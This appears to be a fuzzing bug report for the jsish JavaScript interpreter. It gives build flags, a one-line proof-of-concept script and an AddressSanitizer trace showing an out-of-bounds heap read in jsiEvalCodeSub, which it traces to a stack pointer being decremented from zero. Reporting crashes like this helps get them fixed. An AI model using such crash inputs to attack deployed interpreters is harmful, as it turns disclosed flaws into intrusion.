Integer overflow in jsiEvalCodeSub (src/jsiEval.c:1745)

[paintedveil5]

jsish reversion
5e94278
master

Build platform
Ubuntu 16.04.7 LTS (Linux 4.15.0-142-generic x86_64)

Build steps

export CFLAGS="-g -fsanitize=address -O0 -fprofile-arcs -ftest-coverage -fno-omit-frame-pointer"
export CXXFLAGS="-g -fsanitize=address -O0 -fprofile-arcs -ftest-coverage -fno-omit-frame-pointer"
./jsish poc.js

Test case
poc.js

typeof assert(("'\u2029'") === "\u2029")

Output

=================================================================
==39945==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62500000c8f8 at pc 0x0000005b4fe7 bp 0x7ffcaf64d2d0 sp 0x7ffcaf64d2c0
READ of size 8 at 0x62500000c8f8 thread T0
    #0 0x5b4fe6 in jsiEvalCodeSub src/jsiEval.c:1745
    #1 0x5ba239 in jsi_evalcode src/jsiEval.c:2223
    #2 0x5be362 in jsi_evalStrFile src/jsiEval.c:2676
    #3 0x5bec29 in Jsi_EvalFile src/jsiEval.c:2725
    #4 0x43db99 in Jsi_Main src/jsiInterp.c:936
    #5 0x7928f1 in jsi_main src/main.c:47
    #6 0x7929cb in main src/main.c:55
    #7 0x7f9549b3783f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2083f)
    #8 0x414f18 in _start (/home/lily/Desktop/01-afl-targets/crash-analysis/jsish/jsish+0x414f18)

0x62500000c8f8 is located 8 bytes to the left of 8192-byte region [0x62500000c900,0x62500000e900)
allocated by thread T0 here:
    #0 0x7f954a6a39c1 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x989c1)
    #1 0x4506dc in Jsi_Realloc src/jsiUtils.c:47
    #2 0x59f44e in jsiValuesAlloc src/jsiEval.c:88
    #3 0x59f5e3 in jsiSetupStack src/jsiEval.c:101
    #4 0x5aa61c in jsiEvalCodeSub src/jsiEval.c:1196
    #5 0x5ba239 in jsi_evalcode src/jsiEval.c:2223
    #6 0x5be362 in jsi_evalStrFile src/jsiEval.c:2676
    #7 0x5bec29 in Jsi_EvalFile src/jsiEval.c:2725
    #8 0x43db99 in Jsi_Main src/jsiInterp.c:936
    #9 0x7928f1 in jsi_main src/main.c:47
    #10 0x7929cb in main src/main.c:55
    #11 0x7f9549b3783f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2083f)

SUMMARY: AddressSanitizer: heap-buffer-overflow src/jsiEval.c:1745 jsiEvalCodeSub
Shadow bytes around the buggy address:
  0x0c4a7fff98c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fff98d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fff98e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fff98f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fff9900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c4a7fff9910: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa[fa]
  0x0c4a7fff9920: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a7fff9930: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a7fff9940: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a7fff9950: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a7fff9960: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
==39945==ABORTING

_jsi_TOP is defined as jsi_TOP (interp->Stack[interp->framePtr->Sp-1]) on line 10.
In this case, on line 1745, interp->framePtr->Sp equals 0 then minus 1, which caused an integer overflow.